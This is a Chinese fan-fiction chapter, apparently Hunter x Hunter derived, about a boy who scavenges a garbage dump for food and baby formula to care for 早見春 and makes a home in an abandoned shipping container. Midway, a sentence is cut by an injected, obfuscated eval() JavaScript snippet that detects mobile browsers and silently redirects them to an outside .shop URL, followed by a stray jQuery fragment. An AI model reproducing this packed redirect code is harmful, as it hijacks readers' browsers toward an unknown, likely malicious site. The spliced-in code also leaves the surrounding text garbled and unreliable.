早見晴把一块铁皮从碎石堆里掀开。
铁皮下面压着几个压扁的易拉罐，罐子缝隙里卡着半包没拆封的饼干，包装袋上印着褪色的橘子图案，鼓鼓囊囊的，没漏气。
他捡起来掂了掂，塞进腰侧挂着的布袋里。
背上的人动了动。
早見晴偏过头，他的后脑勺蹭到一撮软趴趴的黑毛。
早見春把脸从他肩膀后面抬起来，目光越过他肩膀，落在布袋里那包饼干上。
“什么味道的。”
“橘子。”
“……不要。”
早見晴闻言把饼干从布袋里抽出来，随手扔回碎石堆里。
饼干砸在铁皮上，滑进一道裂缝，发出干燥的碰撞声。
他重新拉紧胸前的布条，迈开步子，朝下一堆垃圾走。
见此，背上的早見春满意地重新把脸埋进他肩窝。
他的呼吸又浅又慢，隔着一层布，在早見晴肩胛骨的位置留下一点温热的潮气。
太阳正在头顶，垃圾山的气味在午后发酵得格外卖力。
腐烂的蔬果皮和不知名肉类的混合味道从四面八方压过来，裹着铁锈和塑料烧焦的糊味，密不透风。
早見晴往前走了大概两百米，在东边那片今天早上刚倾倒的新垃圾区停下来。
几辆清运车的车辙还留在泥地上，新鲜的垃圾堆表面还没被翻过，塑料瓶和废纸板在阳光下泛着干净的亮。
早見晴蹲下，单手撑着地面稳定重心，另一只手翻开最上层的塑料袋。
一瓶没开封的纯净水，他拧开盖子闻了闻，没闻到异味，这才放进布袋。
几盒贴着超市打折标签的婴儿辅食泥，保质期到明年。
他看了看标签上的字，把辅食泥上的灰擦干净，放进布袋最里层。
一袋真空包装的即食粥，他捏了捏包装，见没漏气，也放进布袋。
背上的早見春一直没出声。
翻到第三层垃圾的时候，早見春的手忽然从他肩膀上伸出来，指着他右手边大概半米远的位置。
“那个。”
早見晴顺着他手指的方向看去，是一个被压瘪的纸盒，侧面印着“全脂奶粉”。
他把纸盒拖出来打开，里面的奶粉罐瘪了一个角，但封口完好，标签上写着“婴幼儿配方”，保质期到明年三月。
他把奶粉罐拿出来，用袖子擦干净罐身上的灰。
“可以喝。”
早見春的手指缩回去，重新搭在他肩膀上，手指头攥着他衣领的边缘。
早見晴把奶粉罐收好，站起来继续走。
他从不去西边的老垃圾区，老垃圾区的东西都是压实的，翻起来特别费力，食物也多半腐透了。
他只能去东边的新鲜倾倒场，每周大概有两到三次清运车倾倒，捡到的食物日期最新，种类也最全。
如果东边没有收获，就往东南方向绕十五分钟，去废品站老头那里用金属换米和盐。
老头今天坐在那把缺了扶手的藤椅上，膝盖上摊着一张旧报纸，正在用一支笔头快秃了的圆珠笔在报纸边角写字。
听见脚步声抬头，目光在早見晴身上停了不到一秒，然后扫过他腰侧的布袋，又扫过他背上露出半个脑袋的早見春，最后落回收银台上那台布满划痕的台秤。
早見晴把布袋里攒了一路的空罐头和几截铜线放到台秤上。
老头看了一眼刻度，转身从身后拿出一个布口袋，舀了半斤米倒进塑料袋里，然后低下头继续在报纸上写字。
早見晴拎着米袋，背着早見春往回走。
“那个收破烂的，”背上的早見春忽然开口，声音懒洋洋的，“每次都看你。不看别人。”
“别人看起来都没我小。”
回去了路上经过一片废弃车辆堆，十几辆被拆得只剩下骨架的轿车堆叠在一起，挡风玻璃碎成了细密的水晶颗粒，
一辆蓝色小货车的残骸下露出半个纸箱的角。
早見春的手指又伸出来了。
“那个。”
早見晴走过去把纸箱拖出来，箱子挺沉的，打开盖子，才发现里面是几件叠得整整齐齐的童装，看尺寸大概是一两岁小孩穿的。
最上面是一件鹅黄色的连帽外套，面料柔软得不像会在垃圾堆里出现的东西。
早見春从他背上挣出来半个身子，一把抓起那件外套，随手比了比。
“这个。”
等到外套重新装回去，早見晴这才把衣服连箱子一起抱在怀里，另一只手托着背后早見春的屁股往上颠了颠，调整了一下布条的松紧。
“回去了吗？”他说。
“回。”
住处是大概一周前找到的。一截废弃的集装箱，铁皮墙壁焊死在水泥基座上，门是半扇切割开的集装箱门板，推开的时候会发出让人牙酸的金属摩擦声。
里面不到十平方米，好在头顶有一块完整的铁皮屋顶，不用担心漏雨。
早見晴花了三天把里面清理干净，清出来的垃圾堆在门口当掩体。
地上铺了三层硬纸板，又铺了一层从废品站换来的旧毛毯。
墙角放着纸箱，里面是这些天攒下来的物资。
他把早見春放在毯子上。
早見春穿着那件鹅黄色外套，在毯子上滚了一圈，仰面朝天，盯着头顶的铁皮屋顶看。
早見晴把今天捡到的辅食泥摆在他面前，苹果、香蕉、葡萄味的，一共三盒，排成一排。
早見春低头看了看，拿手指戳了戳其中一盒的盖子。
“苹果。”
“嗯。”
“香蕉。”
“嗯。”
“还有呢。”
“葡萄。”
早見春想了想，把三盒辅食泥全部打开，每盒都舔了一口，然后把最喜欢的那盒挑出来，剩下两盒推给早見晴。
早見晴拿起推过来的两盒，一盒放回纸箱，一盒倒进搪瓷杯里搅了搅，仰头喝掉了。
然后他去烧水冲奶粉。
奶粉冲好的时候，早見春已经在毯子上趴着了。
他把搪瓷杯放在早見春面前，早見春歪着头看了看杯子里的奶液，伸手把杯子端起来喝了一口。
早見晴在旁边等他喝完，接过空杯子去洗。洗完杯子回来，早見春已经把鹅黄色外套叠成枕头，侧躺在毯子上。
早見晴在毯子另一边坐下，靠着墙壁，把布袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648832|206846||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里捡回来的东西一件件拿出来整理。
奶粉罐放进纸箱最里面的位置压住，辅食泥挨着米袋码好，纯净水放在墙角阴凉处，废旧金属和空罐头分开放，明天拿去废品站换东西。
做完这些他靠着墙闭上眼。
天花板上的铁皮裂缝被不知从哪里来的风吹得轻轻嗡了一声。
早見春在毯子上翻了个身，嘴里含含糊糊地嘟哝了一句什么。
早見晴睁开眼，“……什么。”
“……路米……路米……”
声音很轻，像是在梦里说话，又不太像是梦话。
路米。
揍敌客。
好是碍眼。
☆
早見春饿了这件事，他从来不用说话，早見晴光是看就能知道。
看眼珠转动的频率，看手指攥衣角的力道，看睡醒以后不肯睁眼的时间。
饥饿程度分三档：一档是把东西推开的力度，二档是睁眼以后盯着天花板不动，三档是连鹅黄色外套都不肯盖了。
嗯，今天是三档。
早見晴端着刚冲好的奶粉走过去蹲下来，把杯子放在他手边。
早見春侧躺在毯子上，眼睛睁着，灰眼珠一动不动地盯着对面墙上那道细光。
“不喝。”
早見晴把杯子端起来放在纸箱上，然后站起来走到物资角，物资角的纸箱里还存着昨天物资包刷新掉出来的东西。
他把唯一的牛排拿出来，拆开真空袋，用小铁锅在门口搭的石灶上干煎。
锅底烧得冒青烟，牛排表面煎出一层焦壳，里面还是粉红色的。
煎好的牛排放进缺了边的碗里，用匕首切成小块，端到早見春面前。
早見春的鼻子动了动，这才满意地坐起来了。
“明天还有。”
物资包刷新是随机的，上周掉了牛排，下周不一定还有。
明天必须有，没有就去抢。
早見春把最后一块肉塞进嘴里，嚼完咽下去，又在早見晴的帮助下擦干净嘴巴。
“那明天吃牛排，后天吃那个营养液。”
“好。”
早見晴把他吃空的碗收走，去外面水桶边洗，他洗完碗回来，早見春已经重新躺下了。
“……路米又说他要努力挣钱。”早見春闭着眼睛说。
“嗯。”
“他说第一笔报酬想买玩偶送给我，我才不要玩偶。”
早見晴想了想，“可以垫脚。”
早見春睁开一只眼看他，“……垫什么脚。”
“拼图的时候，你坐着总是腿麻。”早見晴把洗好的碗放回纸箱旁边，在毯子边缘坐下来。
早見春发出一声闷到变形的笑，“你和路米两个，凑一块能把人笑死。”
早見晴没接话，他把毯子一角拽过来盖在自己膝盖上，靠着墙壁闭上眼。
那天夜里早見春又饿醒了一次，但他没出声。
早見晴在黑暗里睁着眼，没动，也没问，等早見春自己坐起来去纸箱里翻营养液。
他在黑暗里重新把眼睛闭好，他想，明天要多跑一片倾倒场，东边那片不够用了。
他要给……春，最好的。